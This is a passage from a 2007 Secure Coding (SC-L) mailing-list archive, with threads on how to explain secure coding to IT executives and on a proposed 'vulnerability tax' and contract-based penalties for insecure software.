to educate leaders about secure coding - and security in general - but
perhaps not to the level of detail we might really desire to see. We want
execs and sr managers to drive their folks toward secure coding practices,
but that doesn't mean they themselves have to know how to code securely. As
such, in targeting these other publications, the message should be refined
to be business-oriented, extolling the business risks associated with
ignoring these practices and providing a big arrow pointing in the direct of
orgs like OWASP.

fwiw.

-ben

--
Benjamin Tomhave, MS, CISSP
falcon at secureconsulting.net
Web: http://falcon.secureconsulting.net/
LI: http://www.linkedin.com/in/btomhave
Blog: http://www.secureconsulting.net/
Photos: http://photos.secureconsulting.net/

[ Random Quote: ]
"If a man is offered a fact which goes against his instincts, he will
scrutinize it closely, and unless the evidence is overwhelming, he will
refuse to believe it. If, on the other hand, he is offered something which
affords a reason for acting in accordance to his instincts, he will accept
it even on the slightest evidence. The origin of myths is explained in this
way."
Bertrand Russell

Crispin Cowan wrote:
> McGovern, James F (HTSC, IT) wrote:
>> I have observed an interesting behavior in that the vast majority of 
>> IT executives still haven't heard about the principles behind secure 
>> coding. My take says that we are publishing information in all the 
>> wrong places. IT executives don't really read ACM, IEEE or other the 
>> sporadic posting from bloggers but they do read CIO, Wall Street 
>> Journal and most importantly listen to each other.
>>
>> What do folks on this list think about asking the magazines and 
>> newspapers to publish? I am willing to gather contact information of 
>> news reporters and others within the media if others are willing to 
>> amplify the call to action in terms of contacting them.
>>   
> The vast majority of IT executives are unfamiliar with all of the 
> principles of security, firewalls, coding, whatever.
> 
> The important thing to understand is that such principles are below 
> their granularity; then are *right* to not care about such principles, 
> because they can't do anything about them. Their granularity of 
> decision making is which products to buy, which strategies to adopt, 
> which managers to hire and fire. Suppose they did understand the 
> principles of secure coding; how then would they use that to decide
between firewalls?
> Web servers? Application servers?
> 
> If anything, the idea that needs to be pitched to IT executives is to 
> pay more attention to "quality" than to shiny buttons & features. But 
> there's the rub, what is "quality" and how can an IT executive measure it?
> 
> I have lots of informal metrics that I use to measure quality, but 
> they largely amount to synthesized reputation capital, derived from 
> reading bugtraq and the like with respect to how many vulnerabilities 
> I see with respect to a given product, e.g. Qmail and Postifx are 
> extremely secure, Pidgin not so much :)
> 
> But as soon as we formalize anything like this kind of metric, and get 
> executives to start buying according to it, then vendors start gaming 
> the system. They start developing aiming at getting the highest 
> whatever-metric score they can, rather than for actual quality. This 
> happens because metrics that approximate quality are always cheaper to 
> achieve than actual quality.
> 
> This is a very, very hard problem, and sad to say, but pitching 
> articles articles on principles to executives won't solve it.
> 
> Crispin
> 
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org List information,
subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


From list-procurare at secureconsulting.net  Mon Nov 19 11:35:46 2007
From: list-procurare at secureconsulting.net (Benjamin Tomhave)
Date: Mon, 19 Nov 2007 11:35:46 -0500 (EST)
Subject: [SC-L] OWASP Publicity
In-Reply-To: <006501c82ac5$56776bd0$5ecb14ac@CW0669>
References: <e9cf3c9b0711050350i3250163dm47af99476fb931ae@mail.gmail.com>
	<343390A82AF98D41AD00D1031D501DB6243D33@AD1HFDEXC309.ad1.prod><473CABFF.7070808@crispincowan.com>
	<4740556C.3090408@secureconsulting.net>
	<006501c82ac5$56776bd0$5ecb14ac@CW0669>
Message-ID: <18127.38.118.48.5.1195490146.squirrel@webmail.secureconsulting.net>

James,

You misunderstood my comments wrt older technologies. My points were:
1) We should not expect people rooted in older technology contexts to
naturally understand problems in modern technology contexts if their jobs
have not required them to evolve their thinking.
2) In trying to effectively communicate challenges to these business
leaders, it may be useful to understand their context and provide
correlated examples in the context they understand, rather than stubbornly
insisting that they update their context. As people age, change becomes
increasingly difficult to handle (this is a truth of psychology and
neuroscience), so we should not assume that they will be able to easily
adjust their context. As responsible security professionals, we should
find a way to bridge the gap, getting the same points across in language
that they'll understand.

The other point made was that there continues to be a disconnect with
business leaders in that they seem fine making "business" decisions, but
then panic when it becomes an "IT" decision. The point here is that we
should be extremely diligent in casting IT/security decisions as business
decisions and reassuring them that the thought processes are the same. The
only potential downfall is that it then puts additional responsibilities
on our security shoulders to make sure we've presented the business risk
analysis adequately to properly support a risk decision.

Lastly, yes, I agree it's a red flag when execs meddle in the affairs of
techies, but it happens a lot, and we should be prepared for dealing with
it. This problem becomes especially challenging in light of #1 above,
wherein their context is tied to outmoded technologies and the associated
ways of thinking. This does _not_ mean we should limit our options to
those outmoded technologies, but that we need to be cognizant of the
limited thought context and provide adequate explanation that is
_understood_ when challenging what is happening and providing
alternatives.

cheers,

-ben

-- 
Benjamin Tomhave, MS, CISSP
falcon at secureconsulting.net
Web: http://falcon.secureconsulting.net/
LI: http://www.linkedin.com/in/btomhave
Blog: http://www.secureconsulting.net/
Photos: http://photos.secureconsulting.net/

"We must scrupulously guard the civil liberties of all citizens, whatever
their background. We must remember that any oppression, any injustice, any
hatred is a wedge designed to attack our civilization."
-President Franklin Delano Roosevelt

On Mon, November 19, 2007 11:00 am, James Stibbards wrote:
> Ben,
>
> Good comments.  It may be true that "older" technology is what today's Sr
> Managers have the most familiarity with, however... In my opinion, it's
> not
> that familiarity that we (or they) should rely on, in order to be
> well-informed, and thus be making good security-related decisions. It's no
> longer their job to be into the details of that technology, unless they
> are
> the CTO (for example), and if they are into the details... That's actually
> a
> red flag to me that they're likely *not* doing their actual job, today, as
> a
> Sr. Manager.  [Slight rant: It *is* the responsibility of the management
> team of the organization, overall, to be sure that information which is
> critical to the organization be conveyed, abstracted or not, up and down
> the
> layers of the entire omanagement and individual contributors... to
> accomplish whatever organizational goals exist. (see more, below).]
>
> If a Sr Manager was once familiar with COBOL (I chuckled at the recent
> COBOL
> SC-L postings...), but the issues are now WinMobile and AJAX, then it's
> really the responsibility of someone in the organzation to have
> synthesized
> and presented  the security issues, opportunities, and costs as they
> relate
> to WinMobile/AJAX/etc. to senior management as Business Issues. At other
> layers in the organization, yes, there are Technology issues, concerns,
> joy
> and grief... But not at the Executive levels, because that's not their
> job(!).
>
> As an aside...since security means so many things to so many people, here
> is
> a 4-layer model that I use with a lot of my customer to help position what
> we do, in the "vast" landscape of security:
>
>  1. Business/Mission objectives - what are "we" trying to accomplish?
>  2. Systems Architecture - how is this being instantiated, in terms of
> systems, communication, storage, etc?
>  3. Security Architecture - what specific technology and processes are we
> using to reduce risk, introduce control mechanisms, etc.
>  4. Protection Technology - how do we lock down the #3, so it can be
> resistant to attack, itself.
>
> I've used this over and over again, in helping to frame discussions of
> what
> "should" or "could" be done, so that they're not confusing.  For example,
> a
> question of policy with a question of choice of technology selection.
>
> A few days early, but Happy Thanksgiving, to all!
>
> - James
>
> James W. Stibbards
> Sr. Director - Sales Engineering
> Cloakware, Inc.
> email: james.stibbards at cloakware.com
> phone: 703-752-4836
> cell: 571-232-7210
>
>
> -----Original Message-----
> From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
> On Behalf Of Benjamin Tomhave
> Sent: Sunday, November 18, 2007 10:08 AM
> To: Secure Coding
> Subject: Re: [SC-L] OWASP Publicity
>
> I agree and disagree with these comments, as I think they possibly
> represent
> an outmoded way of thinking when it comes to IT management.
> Execs and senior mgmt _must_ have a certain understanding of security that
> will at least give them a basis for making risk decisions. It seems today
> that they are fine (generally) making business risk decisions, but then
> believe falsely that making an IT risk decision requires following a
> completely different set of rules (when, in fact, it's just another kind
> of
> business risk decision). I'm of the belief that this directly correlates
> to
> their lack of fundamental understanding of IT and security issues.
>
> Where I agree is the level of detail that needs to be imparted. OWASP Top
> 10
> is probably too much detail to communicate to the average exec or sr
> manager. However, we must not overlook that these business leaders were
> once
> individual contributors. Yes, it's true that some of these folks came up
> through a strictly business route, but for the most part these days I see
> these careers originating in at least a semi-technical role. We should be
> seeking to leverage those backgrounds to educate them and bring them to
> modern times.
>
> On Crispin's later comments about bad vs good managers, I think he's very
> much hit the nail on the head (see the quote in my sig). However, there's
> one aspect that's overlooked, which is outdated prior history.
> If an executive's understanding of technology is founded in their first
> contributions as an individual contributor 10-20 years ago, then this
> means
> their understanding of modern technology may be severely limited.
> I'm sure all of us understand how difficult it is to stay on top of
> current
> trends as technology evolves, and it's often our job to do so.
> What if it's not your job to keep current? The times will change while
> your
> focus is elsewhere, but only a truly savvy person will think to check that
> context before making decisions that affect it. This seems to be a rarity.
>
> So, to conclude, I think that it would be valuable, in broad brush
> strokes,
> to educate leaders about secure coding - and security in general - but
> perhaps not to the level of detail we might really desire to see. We want
> execs and sr managers to drive their folks toward secure coding practices,
> but that doesn't mean they themselves have to know how to code securely.
> As
> such, in targeting these other publications, the message should be refined
> to be business-oriented, extolling the business risks associated with
> ignoring these practices and providing a big arrow pointing in the direct
> of
> orgs like OWASP.
>
> fwiw.
>
> -ben
>
> --
> Benjamin Tomhave, MS, CISSP
> falcon at secureconsulting.net
> Web: http://falcon.secureconsulting.net/
> LI: http://www.linkedin.com/in/btomhave
> Blog: http://www.secureconsulting.net/
> Photos: http://photos.secureconsulting.net/
>
> [ Random Quote: ]
> "If a man is offered a fact which goes against his instincts, he will
> scrutinize it closely, and unless the evidence is overwhelming, he will
> refuse to believe it. If, on the other hand, he is offered something which
> affords a reason for acting in accordance to his instincts, he will accept
> it even on the slightest evidence. The origin of myths is explained in
> this
> way."
> Bertrand Russell
>
> Crispin Cowan wrote:
>> McGovern, James F (HTSC, IT) wrote:
>>> I have observed an interesting behavior in that the vast majority of
>>> IT executives still haven't heard about the principles behind secure
>>> coding. My take says that we are publishing information in all the
>>> wrong places. IT executives don't really read ACM, IEEE or other the
>>> sporadic posting from bloggers but they do read CIO, Wall Street
>>> Journal and most importantly listen to each other.
>>>
>>> What do folks on this list think about asking the magazines and
>>> newspapers to publish? I am willing to gather contact information of
>>> news reporters and others within the media if others are willing to
>>> amplify the call to action in terms of contacting them.
>>>
>> The vast majority of IT executives are unfamiliar with all of the
>> principles of security, firewalls, coding, whatever.
>>
>> The important thing to understand is that such principles are below
>> their granularity; then are *right* to not care about such principles,
>> because they can't do anything about them. Their granularity of
>> decision making is which products to buy, which strategies to adopt,
>> which managers to hire and fire. Suppose they did understand the
>> principles of secure coding; how then would they use that to decide
> between firewalls?
>> Web servers? Application servers?
>>
>> If anything, the idea that needs to be pitched to IT executives is to
>> pay more attention to "quality" than to shiny buttons & features. But
>> there's the rub, what is "quality" and how can an IT executive measure
>> it?
>>
>> I have lots of informal metrics that I use to measure quality, but
>> they largely amount to synthesized reputation capital, derived from
>> reading bugtraq and the like with respect to how many vulnerabilities
>> I see with respect to a given product, e.g. Qmail and Postifx are
>> extremely secure, Pidgin not so much :)
>>
>> But as soon as we formalize anything like this kind of metric, and get
>> executives to start buying according to it, then vendors start gaming
>> the system. They start developing aiming at getting the highest
>> whatever-metric score they can, rather than for actual quality. This
>> happens because metrics that approximate quality are always cheaper to
>> achieve than actual quality.
>>
>> This is a very, very hard problem, and sad to say, but pitching
>> articles articles on principles to executives won't solve it.
>>
>> Crispin
>>



From gem at cigital.com  Tue Nov 20 13:55:42 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 20 Nov 2007 13:55:42 -0500
Subject: [SC-L] Silver Bullet 20: Markus Jakobssen
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2F03716741@va-mailhub.cigital.com>

hi sc-l,

Hard to believe silver bullet has reached episode 20, but it has.  During this podcast, markus and I discuss phishing, software security, and cartoons.  Hope you enjoy it:

http://www.cigital.com/silverbullet/show-020/

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


From ken at krvw.com  Thu Nov 29 17:47:08 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Thu, 29 Nov 2007 17:47:08 -0500
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application and
	Perimeter Security News Analysis - Dark Reading
Message-ID: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>

FYI, there's a provocative article over on Dark Reading today.

http://www.darkreading.com/document.asp?doc_id=140184

The article quotes David Rice, who has a book out called   
"Geekconomics: The Real Cost of Insecure Software".  In it, he tried  
to quantify how much insecure software costs the public and, more  
controversially, proposes a "vulnerability tax" on software  
developers.  He believes such a tax would result in more secure  
software.

IMHO, if all developers paid the tax, then I can't see it resulting in  
anything other than more expensive software...  Perhaps I'm just  
missing something, though.

Cheers,

Ken

-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2500 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20071129/72b60d87/attachment.bin 

From leichter_jerrold at emc.com  Thu Nov 29 18:35:56 2007
From: leichter_jerrold at emc.com (Leichter, Jerry)
Date: Thu, 29 Nov 2007 18:35:56 -0500 (EST)
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
 and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
Message-ID: <Pine.SOL.4.61.0711291828480.12157@mental>

| FYI, there's a provocative article over on Dark Reading today.
| http://www.darkreading.com/document.asp?doc_id=140184
|
| The article quotes David Rice, who has a book out called
| "Geekconomics: The Real Cost of Insecure Software".  In it, he tried
| to quantify how much insecure software costs the public and, more
| controversially, proposes a "vulnerability tax" on software
| developers.  He believes such a tax would result in more secure
| software.
|
| IMHO, if all developers paid the tax, then I can't see it resulting in
| anything other than more expensive software...  Perhaps I'm just
| missing something, though.
The answer to this is right in the article:

	Just as a traditional manufacturer would pay less
	tax by becoming "greener," the software manufacturer
	would pay less tax for producing "cleaner" code, he
	says. "Those software manufacturers would pay less
	tax pass on less expense to the consumer, just as a
	regular manufacturing company would pass on less
	carbon tax to their customers," he says.

He does go on to say:  

	It's not clear how the software quality would be
	measured ... but the idea would be for a software
	maker to get tax breaks for writing code with fewer
	security vulnerabilities.
	
	And the consumer ideally would pay less for more
	secure software because tax penalties wouldn't get
	passed on, he says.
	
	Rice says this taxation model is just one of many
	possible solutions, and would likely work in concert
	with torte law or tighter governmental regulations....

So he's not completely naive, though the history of security metrics and
standards - which tend to produce code that satisfies the standards
without being any more secure - should certainly give on pause.

One could, I suppose, give rebates based on actual field experience:
Look at the number of security problems reported per year over a two-
year period and give rebates to sellers who have low rates.  There are
many problems with this, of course - not the least that it puts new
developers in a tough position, since they effectively have to lend
the money for the tax for a couple of years in the hopes that they'll
get rebates later when their code is proven to be good.

							-- Jerry

From mouse at Rodents.Montreal.QC.CA  Thu Nov 29 18:46:43 2007
From: mouse at Rodents.Montreal.QC.CA (der Mouse)
Date: Thu, 29 Nov 2007 18:46:43 -0500 (EST)
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
 and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <Pine.SOL.4.61.0711291828480.12157@mental>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
	<Pine.SOL.4.61.0711291828480.12157@mental>
Message-ID: <200711292351.SAA01829@Sparkle.Rodents.Montreal.QC.CA>

> 	Just as a traditional manufacturer would pay less tax by
> 	becoming "greener," the software manufacturer would pay less
> 	tax for producing "cleaner" code, [...]

> One could, I suppose, give rebates based on actual field experience:
> Look at the number of security problems reported per year over a
> two-year period and give rebates to sellers who have low rates.

And all of this completely ignores the $0 software "market".  (I'm
carefully not saying "free", since that has too many other meanings,
some of which have been perverted in recent years to mean just about
the opposite of what they should.)  Who gets hit with tax when a bug is
found in, say, the Linux kernel?  Why?

/~\ The ASCII				der Mouse
\ / Ribbon Campaign
 X  Against HTML	       mouse at rodents.montreal.qc.ca
/ \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B

From robert at webappsec.org  Thu Nov 29 18:52:27 2007
From: robert at webappsec.org (robert at webappsec.org)
Date: Thu, 29 Nov 2007 18:52:27 -0500 (EST)
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
	and
In-Reply-To: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
Message-ID: <20071129235227.77988.qmail@cgisecurity.net>

I think many companies are working on making their code more secure however without some sort of 
penality to the business the others aren't going to invest in security. This in particular is why
I like what PCI has done (as an example) enforcing 'some' bare requirements/penalties for not doing
While it isn't perfect it's something.

I've spoken with a few organizations debating penalizing a developer financially if 
they have vulnerabilities in their code. It is actually pretty difficult to enforce
without the proper training/policies/procedures in place. I think if a tax existed 
this would force companies to develop these sorts of programs since it will most likely
be less expensive than paying the fine. 

My $1.50

Regards,
 - Robert Auger
http://www.webappsec.org/
http://www.cgisecurity.com/


> 
> 
> --===============1159861409==
> Content-Type: multipart/signed; boundary=Apple-Mail-774--974102641; micalg=sha1;
> 	protocol="application/pkcs7-signature"
> 
> 
> --Apple-Mail-774--974102641
> Content-Type: text/plain;
> 	charset=US-ASCII;
> 	format=flowed;
> 	delsp=yes
> Content-Transfer-Encoding: 7bit
> 
> FYI, there's a provocative article over on Dark Reading today.
> 
> http://www.darkreading.com/document.asp?doc_id=140184
> 
> The article quotes David Rice, who has a book out called   
> "Geekconomics: The Real Cost of Insecure Software".  In it, he tried  
> to quantify how much insecure software costs the public and, more  
> controversially, proposes a "vulnerability tax" on software  
> developers.  He believes such a tax would result in more secure  
> software.
> 
> IMHO, if all developers paid the tax, then I can't see it resulting in  
> anything other than more expensive software...  Perhaps I'm just  
> missing something, though.
> 
> Cheers,
> 
> Ken
> 
> -----
> Kenneth R. van Wyk
> SC-L Moderator
> KRvW Associates, LLC
> http://www.KRvW.com
> 
> 
> 
> 
> 
> --Apple-Mail-774--974102641
> Content-Disposition: attachment;
> 	filename=smime.p7s
> Content-Type: application/pkcs7-signature;
> 	name=smime.p7s
> Content-Transfer-Encoding: base64
> 
> MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGdjCCAy8w
> ggKYoAMCAQICEE3TNKjT6vVPziZ4GZOH6N4wDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UEBhMCWkEx
> JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ
> ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA3MDkxNTEzMzAxM1oXDTA4MDkxNDEzMzAx
> M1owgYoxEDAOBgNVBAQTB1ZhbiBXeWsxGDAWBgNVBCoTD0tlbm5ldGggUmljaGFyZDEgMB4GA1UE
> AxMXS2VubmV0aCBSaWNoYXJkIFZhbiBXeWsxGzAZBgkqhkiG9w0BCQEWDGtlbkBLUnZXLmNvbTEd
> MBsGCSqGSIb3DQEJARYOa2VuQHZhbnd5ay5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
> AoIBAQCqSxE6IaWzPYQK1MHK/5vFDNb7GmfI/WVjnBVDvyg2wC0EI1zhMGCRJtE78wPRshTg7kC5
> B8W2qNBIxRO8bkU3+Qw8ZRFjPz8EKDoxJuK6byfip64h5Q/HcL6JWNPRrHZQXwpEisehEgytMOJs
> JAoLzHUqi2zVz6Wq+NDhtmOIlegvnlcLiHY+IxZaK4bLe/p3717OtswZtJ+xQUS5J9DUf99PIR8q
> DWqt/fFBqhQ9a2zewPH/+Jrwnhl/2WdkCWBEn0kkz9J77hNVe7O0NAKGTirWkU3JKY39wCjb7pf2
> 0TNtoFvfj6oTTOwEdvIZkm6C/HMCf4Cwpc+zlLG6VhzlAgMBAAGjOTA3MCcGA1UdEQQgMB6BDGtl
> bkBLUnZXLmNvbYEOa2VuQHZhbnd5ay5vcmcwDAYDVR0TAQH/BAIwADANBgkqhkiG9w0BAQUFAAOB
> gQC7cfuLAK0R/H9LyvtBl4+8wt64B7eyTdQDQTyRUyH1IfJAPgXcG8edBPV/3ff6LOIf5bI0MBjF
> HjyavBM8532SVgzs+aadJ3gA8OFDnAAcA8lL0vgx1UJATWLneTxNDz5cauUdTpUAckw1V6tQ/erB
> a2BBcLPSdoT9P2B90LMPQDCCAz8wggKooAMCAQICAQ0wDQYJKoZIhvcNAQEFBQAwgdExCzAJBgNV
> BAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UE
> ChMRVGhhd3RlIENvbnN1bHRpbmcxKDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2
> aXNpb24xJDAiBgNVBAMTG1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJ
> ARYccGVyc29uYWwtZnJlZW1haWxAdGhhd3RlLmNvbTAeFw0wMzA3MTcwMDAwMDBaFw0xMzA3MTYy
> MzU5NTlaMGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3dGUgQ29uc3VsdGluZyAoUHR5KSBM
> dGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgSXNzdWluZyBDQTCBnzANBgkq
> hkiG9w0BAQEFAAOBjQAwgYkCgYEAxKY8VXNV+065yplaHmjAdQRwnd/p/6Me7L3N9VvyGna9fww6
> YfK/Uc4B1OVQCjDXAmNaLIkVcI7dyfArhVqqP3FWy688Cwfn8R+RNiQqE88r1fOCdz0Dviv+uxg+
> B79AgAJk16emu59l0cUqVIUPSAR/p7bRPGEEQB5kGXJgt/sCAwEAAaOBlDCBkTASBgNVHRMBAf8E
> CDAGAQH/AgEAMEMGA1UdHwQ8MDowOKA2oDSGMmh0dHA6Ly9jcmwudGhhd3RlLmNvbS9UaGF3dGVQ
> ZXJzb25hbEZyZWVtYWlsQ0EuY3JsMAsGA1UdDwQEAwIBBjApBgNVHREEIjAgpB4wHDEaMBgGA1UE
> AxMRUHJpdmF0ZUxhYmVsMi0xMzgwDQYJKoZIhvcNAQEFBQADgYEASIzRUIPqCy7MDaNmrGcPf6+s
> vsIXoUOWlJ1/TCG4+DYfqi2fNi/A9BxQIJNwPP2t4WFiw9k6GX6EsZkbAMUaC4J0niVQlGLH2ydx
> VyWN3amcOY6MIE9lX5Xa9/eH1sYITq726jTlEBpbNU1341YheILcIRk13iSx0x1G/11fZU8xggMQ
> MIIDDAIBATB2MGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3dGUgQ29uc3VsdGluZyAoUHR5
> KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgSXNzdWluZyBDQQIQTdM0
> qNPq9U/OJngZk4fo3jAJBgUrDgMCGgUAoIIBbzAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwG
> CSqGSIb3DQEJBTEPFw0wNzExMjkyMjQ3MDlaMCMGCSqGSIb3DQEJBDEWBBSyteyFAANif1U5spNG
> +rNDEWeLejCBhQYJKwYBBAGCNxAEMXgwdjBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3Rl
> IENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWls
> IElzc3VpbmcgQ0ECEE3TNKjT6vVPziZ4GZOH6N4wgYcGCyqGSIb3DQEJEAILMXigdjBiMQswCQYD
> VQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMj
> VGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECEE3TNKjT6vVPziZ4GZOH6N4wDQYJ
> KoZIhvcNAQEBBQAEggEAn7HQrs0Uu05KKl1aFqFrYpZlXHMh4CDVWvbhdb+EpYESr1qo4zi66eqn
> jO2ahM0ZkiVCJD2Nk+z68x7w6aQTw+DMPBL2/N9TkpTuh6NPjA/X12mY5DNoui9vEpj+vhunuQHB
> jJQewOpfw4vjNfMdFPuKHJJ0X+MiipoQ8y7dQJjIX+epjtkVkKT93KVZM1L+cgqe8NUFZuKYC09r
> qEyU+i7bsUug+AwqlHYsOd4b4T+s3dvhLIohjqGR9+5RLxFbTzPRgCvFo1A4yP/VME++cdntnIhK
> gz6AQOGQ/ZZpX/0XEIjS0NXTeJ5w7mUitU/KWAjKpt+8BL1K2dp6do3IWQAAAAAAAA==
> 
> --Apple-Mail-774--974102641--
> 
> --===============1159861409==
> Content-Type: text/plain; charset="us-ascii"
> MIME-Version: 1.0
> Content-Transfer-Encoding: 7bit
> Content-Disposition: inline
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
> 
> --===============1159861409==--
> 


From steingra at gmail.com  Thu Nov 29 19:13:15 2007
From: steingra at gmail.com (Andy Steingruebl)
Date: Thu, 29 Nov 2007 16:13:15 -0800
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
	and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
Message-ID: <490a979e0711291613s6cd92b37l7969c88a9f37d74c@mail.gmail.com>

On Nov 29, 2007 2:47 PM, Kenneth Van Wyk <ken at krvw.com> wrote:
>
> The article quotes David Rice, who has a book out called
> "Geekconomics: The Real Cost of Insecure Software".  In it, he tried
> to quantify how much insecure software costs the public and, more
> controversially, proposes a "vulnerability tax" on software
> developers.  He believes such a tax would result in more secure
> software.

I like contractual approaches to this problem myself.  People buying
large quantities of software (large enterprises, governments) should
get contracts with vendors that specify money-back for each patch they
have to apply where the root cause is of a given type.  For example, I
get money back every time the vendor has a vulnerability and patch
related to a buffer overflow.

I wrote a small piece about this:
http://securityretentive.blogspot.com/2007/09/buffer-overflows-are-like-hospital.html

Turns out that the federal government isn't paying for avoidable
outcomes anymore.  Certain things fall into the rough category of
"negligence" and so aren't covered.  We ought to just do this for
software via a contracts mechanism.  I'm not sure we want to start out
with a big-bang public-policy approach on this issue.  We'd want to
know a lot more about how the economics work out on a small scale
before applying it to all software.

-- 
Andy Steingruebl
steingra at gmail.com

From BlueBoar at thievco.com  Thu Nov 29 21:07:00 2007
From: BlueBoar at thievco.com (Blue Boar)
Date: Thu, 29 Nov 2007 18:07:00 -0800
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
 and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <490a979e0711291613s6cd92b37l7969c88a9f37d74c@mail.gmail.com>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
	<490a979e0711291613s6cd92b37l7969c88a9f37d74c@mail.gmail.com>
Message-ID: <474F7044.6010202@thievco.com>

Andy Steingruebl wrote:
> I like contractual approaches to this problem myself.  People buying
> large quantities of software (large enterprises, governments) should
> get contracts with vendors that specify money-back for each patch they
> have to apply where the root cause is of a given type.  For example, I
> get money back every time the vendor has a vulnerability and patch
> related to a buffer overflow.

That changes the incentive to hide security bugs and not patch them or
to slipstream them.

						BB

From steingra at gmail.com  Thu Nov 29 22:39:18 2007
From: steingra at gmail.com (Andy Steingruebl)
Date: Thu, 29 Nov 2007 19:39:18 -0800
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
	and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <474F7044.6010202@thievco.com>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
	<490a979e0711291613s6cd92b37l7969c88a9f37d74c@mail.gmail.com>
	<474F7044.6010202@thievco.com>
Message-ID: <490a979e0711291939t198a2f67h7150a5ebf3b36379@mail.gmail.com>

On Nov 29, 2007 6:07 PM, Blue Boar <BlueBoar at thievco.com> wrote:
> Andy Steingruebl wrote:
> > I like contractual approaches to this problem myself.  People buying
> > large quantities of software (large enterprises, governments) should
> > get contracts with vendors that specify money-back for each patch they
> > have to apply where the root cause is of a given type.  For example, I
> > get money back every time the vendor has a vulnerability and patch
> > related to a buffer overflow.
>
> That changes the incentive to hide security bugs and not patch them or
> to slipstream them.

Any regulatory regime that deals with security issues is subject to
the same thing.  Whether its PCI and eluding Auditors or SOX-404 and
documenting controls, you'll always have people that want to try to
game the system.

I'm not suggesting that this is the only solution, but from an
economics and motivation perspective SLAs related to software and
security features are more likely to work and incur lower overhead
than a regulatory regime that is centrally administered.

Sure, there are going to be pieces of software that this scheme won't
work for or where there aren't very many bulk purchasers, only 1-off
purchasers.  Things like video games for example where there aren't
large institutional purchases.

That said, I think contracts between large consumers and software
producers would be a good start to the problem.

-- 
Andy Steingruebl
steingra at gmail.com

From michaelslists at gmail.com  Fri Nov 30 00:41:23 2007
From: michaelslists at gmail.com (silky)
Date: Fri, 30 Nov 2007 16:41:23 +1100
Subject: [SC-L] Insecure Software Costs US $180B per Year - Application
	and Perimeter Security News Analysis - Dark Reading
In-Reply-To: <490a979e0711291613s6cd92b37l7969c88a9f37d74c@mail.gmail.com>
References: <149E26A6-D855-442B-A710-DB884B048E39@krvw.com>
	<490a979e0711291613s6cd92b37l7969c88a9f37d74c@mail.gmail.com>
Message-ID: <5e01c29a0711292141q24f9b6admdd6907da520d8c46@mail.gmail.com>

your plan would simply result in vendors denying the existence of bugs.

i still think all these ideas are wrong and the model is simple: don't
employ people who write and generate insecure code. it's just part of
programming. you wouldn't hire a doctor to be a gardener. don't hire
an idiot to program your apps.


On 11/30/07, Andy Steingruebl <steingra at gmail.com> wrote:
